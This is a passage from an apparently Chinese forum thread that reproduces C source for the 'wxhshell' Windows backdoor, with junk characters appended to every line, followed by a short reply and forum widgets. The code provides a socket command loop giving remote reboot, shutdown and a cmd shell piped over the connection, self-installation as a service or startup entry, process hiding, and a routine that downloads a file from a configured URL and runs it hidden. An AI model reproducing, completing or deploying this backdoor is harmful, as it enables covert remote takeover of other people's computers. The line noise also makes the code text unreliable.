  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0vS%m/Zi-  
  else [aO"9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v 8{oXzyy  
  } J4j?rLR3p  
  else { & ?/h5<  
9Vzk:zOT  
    switch(cmd[0]) { ;PaB5TT(  
  TmKO/N@}  
  // 帮助 BS*cG>T  
  case '?': { XT{1!I(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6]T02;b>/,  
    break; r NU,(htS  
  } 3=t}py7M  
  // 安装  8czo#&  
  case 'i': { o|]xj'  
    if(Install()) $msT,$NJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); da\K>An>  
    else s?~Abj_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dT/Cn v=  
    break; uz>s2I}B  
    } m{pL< g^M  
  // 卸载 (oq(-Wv  
  case 'r': { @WhcY*R2  
    if(Uninstall()) #$jAGt3^BT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [+{ ot   
    else dAEz hR[=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /,Ln)?eD  
    break; ]_d(YHYf  
    } 5tP0dQYd  
  // 显示 wxhshell 所在路径 KPW: r#d  
  case 'p': { |t]-a%A=w  
    char svExeFile[MAX_PATH]; 3(^9K2.s}  
    strcpy(svExeFile,"\n\r"); lxbbyy25  
      strcat(svExeFile,ExeFile); PwF}yx kI  
        send(wsh,svExeFile,strlen(svExeFile),0); x18ei@c  
    break; b44H2A .  
    } >P\T nb"Q\  
  // 重启 FX}<F0([?  
  case 'b': { %|SbZ)gcQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,>{4*PM(  
    if(Boot(REBOOT)) "^_p>C)T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^%go\ C ;  
    else { wjS3ItB  
    closesocket(wsh); 8Y5* 1E*  
    ExitThread(0); rRT9)wDa  
    } b\=0[kBQw  
    break; ,"h$!k"$g  
    } `*}#Bks!  
  // 关机 )KXLL;]  
  case 'd': { htM5Nm[g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bGK&W;Myk  
    if(Boot(SHUTDOWN)) T%P 0M*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {:6VJ0s\  
    else { px4Z  
    closesocket(wsh); K/MIDH  
    ExitThread(0); S`0@fieOf  
    } jq.@<<j|$  
    break; ,e.y4 vnU  
    } zXcSE"   
  // 获取shell 7:x.08  
  case 's': { $23="Jcl  
    CmdShell(wsh); 'QCvN b6  
    closesocket(wsh); ~JC``&6E=}  
    ExitThread(0); y9W*/H{[`  
    break; ik&loM_  
  } ,Oxdqxu7  
  // 退出 {y<_S]0  
  case 'x': { ~e%*hZNo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "ajZ&{Z  
    CloseIt(wsh); 7t@jj%F  
    break; ),M8W15  
    } d:A+s>`$M  
  // 离开 +"' h?7'C  
  case 'q': { NNe'5q9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z W+wtYV4  
    closesocket(wsh); ,0-   
    WSACleanup(); tp5]n`3rD  
    exit(1); "DRp4;  
    break; NKGo E/  
        } :+E>Uz T  
  } lV]l`$XI  
  } 'J!P:.=a>  
Onot<}K  
  // 提示信息 *:YW@Gbm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SvI  
} /x$jd )C  
  } <6(u%t0k5  
r\Man'h$  
  return; 7F+f6(hB  
} %eD&2$q*  
 4jG@ #  
// shell模块句柄 z2"2Xqy<U  
int CmdShell(SOCKET sock) R?l>Vr  
{ $Q47>/CUc^  
STARTUPINFO si; *l7 ojv  
ZeroMemory(&si,sizeof(si)); Bljh'Qp>C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E(u[?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q/4PX  
PROCESS_INFORMATION ProcessInfo; ^~(bm$4r  
char cmdline[]="cmd"; =FwFqjvl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QF%@MK0zC  
  return 0; &m Y<e4  
} _II;$_N  
f, ;sEV  
// 自身启动模式 (%I`EAR  
int StartFromService(void) Lo;T\C N  
{ k U3] eh\I  
typedef struct bz}T}nj  
{ apw8wL2  
  DWORD ExitStatus; -O(.J'=8  
  DWORD PebBaseAddress; j5$Sm  
  DWORD AffinityMask; xhimRi  
  DWORD BasePriority; F'SOl*v(s5  
  ULONG UniqueProcessId;  61gZZM  
  ULONG InheritedFromUniqueProcessId; v{%2`_c  
}   PROCESS_BASIC_INFORMATION; Q%t8cJ L  
&,e@pvc3  
PROCNTQSIP NtQueryInformationProcess; }]g>PY  
?+5K2Zk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~hM4({/QN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c-s ~q/  
%kVpW& ~  
  HANDLE             hProcess; *d,SI[c%e  
  PROCESS_BASIC_INFORMATION pbi; A1YIPrav(  
E; RI.6y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +j`*?pPD(.  
  if(NULL == hInst ) return 0; A>d*<#x  
NINyg"g<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s \kkD *  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Tz/ZOJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (U|W=@8`  
,Hj=]e2?  
  if (!NtQueryInformationProcess) return 0; -.z~u/uL  
V$:v~*Y9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DoImWNLo  
  if(!hProcess) return 0; L#NPt4Sz+  
RYvS,hf 6z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4; &(  
8c~b7F \  
  CloseHandle(hProcess); r--"JO%2  
\&W~nYXq"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RJd55+h  
if(hProcess==NULL) return 0; [kC-g @  
g{a_{P  
HMODULE hMod; (?J&Ar0  
char procName[255]; FQ O6w'  
unsigned long cbNeeded; 8G{} r  
jUjQ{eT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B-eYWt8s  
ii~~xt1  
  CloseHandle(hProcess); &4B N9`|:  
'z+8;g.ekO  
if(strstr(procName,"services")) return 1; // 以服务启动 >i`'e~%  
}0f[x ?V  
  return 0; // 注册表启动 DmD*,[rD  
} =_v_#;h&  
T.&^1qWWA  
// 主模块 \9D '7/$I,  
int StartWxhshell(LPSTR lpCmdLine) O{%y `|m  
{ dq|z;,`  
  SOCKET wsl; >B~p[wh0  
BOOL val=TRUE; 2;6p2GNSh  
  int port=0; "CLd_H*)c  
  struct sockaddr_in door; h^[K= J  
Zx`hutCv  
  if(wscfg.ws_autoins) Install(); 5$zC,g*#  
\Dr@n^hk@[  
port=atoi(lpCmdLine); lf Wxdi  
*[_?4*F  
if(port<=0) port=wscfg.ws_port; i<&2Ffvq  
c: #1Aym  
  WSADATA data; 9~u1fk{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  !@bN  
YFsEuaV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @^%zh   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6'?Y]K  
  door.sin_family = AF_INET; (5'qEi ea  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #PtV=Ee1  
  door.sin_port = htons(port); = u73AM}  
ZEHz/Y%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7G2TTa  
closesocket(wsl); -*tP_=-Dg  
return 1; J^1w& 40  
} 9Y*6AaKE6  
WO_cT26Y  
  if(listen(wsl,2) == INVALID_SOCKET) { &a-:ZA@  
closesocket(wsl); 6)DYQ^4y  
return 1; Z mYp!B_~  
} 9h~>7VeZ)  
  Wxhshell(wsl); A!@D }n  
  WSACleanup(); \ Fc"Q@.u  
VN;Sz,1Z  
return 0; q=|>r n_  
KVqQOh'_T  
} %'EOFv]  
w,JB`jS)/  
// 以NT服务方式启动 &.Yh_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U7 Z_  
{ +mV4Ty  
DWORD   status = 0; qb "H&)aHw  
  DWORD   specificError = 0xfffffff; R+, tn,<<  
v#D9yttO{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SAXjB;VH6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6P+8{ ?V&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,uuQj]Dac+  
  serviceStatus.dwWin32ExitCode     = 0; PZH]9[H  
  serviceStatus.dwServiceSpecificExitCode = 0; [)9bR1wh  
  serviceStatus.dwCheckPoint       = 0; aoMQ_@0  
  serviceStatus.dwWaitHint       = 0; b6oPnP_3P  
GQ)hZt0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [nYwJ  
  if (hServiceStatusHandle==0) return; IXX^C}\,  
Z/56JYt!~  
status = GetLastError(); #!9aTp).AL  
  if (status!=NO_ERROR) B||^ sRMX  
{ 1<fEz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '{U56^b]  
    serviceStatus.dwCheckPoint       = 0; YceiP,!4?v  
    serviceStatus.dwWaitHint       = 0; ZK_IK)g  
    serviceStatus.dwWin32ExitCode     = status; "hpK8vQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; m5f/vb4l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A-.jv  
    return; [4( TG<I  
  } rN} {v}n  
RR^I*kRH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0B1*N_.L@  
  serviceStatus.dwCheckPoint       = 0; $5cLhi"`  
  serviceStatus.dwWaitHint       = 0; }q27M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0>Ecm#  
} <;SMczR  
3}n=od=  
// 处理NT服务事件,比如:启动、停止 WynHcxC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;c<:"ad(  
{ JTl 37j  
switch(fdwControl) `h :&H,N  
{ >y%$]0F1  
case SERVICE_CONTROL_STOP: 0Q%'vBX\`  
  serviceStatus.dwWin32ExitCode = 0; In=3#u ,M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZXHG2@E)  
  serviceStatus.dwCheckPoint   = 0; j:$2 ,?|5  
  serviceStatus.dwWaitHint     = 0; xzIs,i}U  
  { -Qqb/y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); op&,&  
  } yIqsZJj  
  return; LK/gG6n5M0  
case SERVICE_CONTROL_PAUSE: tSE6m-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]#))#-&1  
  break; $U"/.Mh\  
case SERVICE_CONTROL_CONTINUE: b"x;i\Z0%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <F>\Vl:  
  break; j08|zUe  
case SERVICE_CONTROL_INTERROGATE: >x&$lT{OY  
  break; #j iQa"  
}; M)Tv(7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D-A#{e _  
} 9?bfZF4A=  
BalOph4M[  
// 标准应用程序主函数 ?i)-K?4Sb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BxO2w1G  
{ u\&oiwSIP  
QRw3 06  
// 获取操作系统版本 E9%xSMS8@  
OsIsNt=GetOsVer(); qmOGsj`#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8p>%}LX/  
htlsU*x  
  // 从命令行安装 a%Cq?HZ7  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?GB($D=Y'&  
ZEUd?"gaR  
  // 下载执行文件 ]Fl+^aLS  
if(wscfg.ws_downexe) { vy@;zrs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X1#D}  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^*%p]r  
} X& O o1y  
Mwp#.du(  
if(!OsIsNt) { >sPu*8D40a  
// 如果时win9x,隐藏进程并且设置为注册表启动 w0^(jMQe^  
HideProc(); 1}KNzMHk9  
StartWxhshell(lpCmdLine); \*!g0C 8 o  
} @Mt6O _V  
else ;oWhTj`  
  if(StartFromService()) _6^vxlF  
  // 以服务方式启动 0ydAdgD  
  StartServiceCtrlDispatcher(DispatchTable); +lO Y IQ  
else >xJt&jW-  
  // 普通方式启动 m$pXe<  
  StartWxhshell(lpCmdLine); ` n@[=l~  
IP&En8W+  
return 0; $ 7O[|:Yv  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五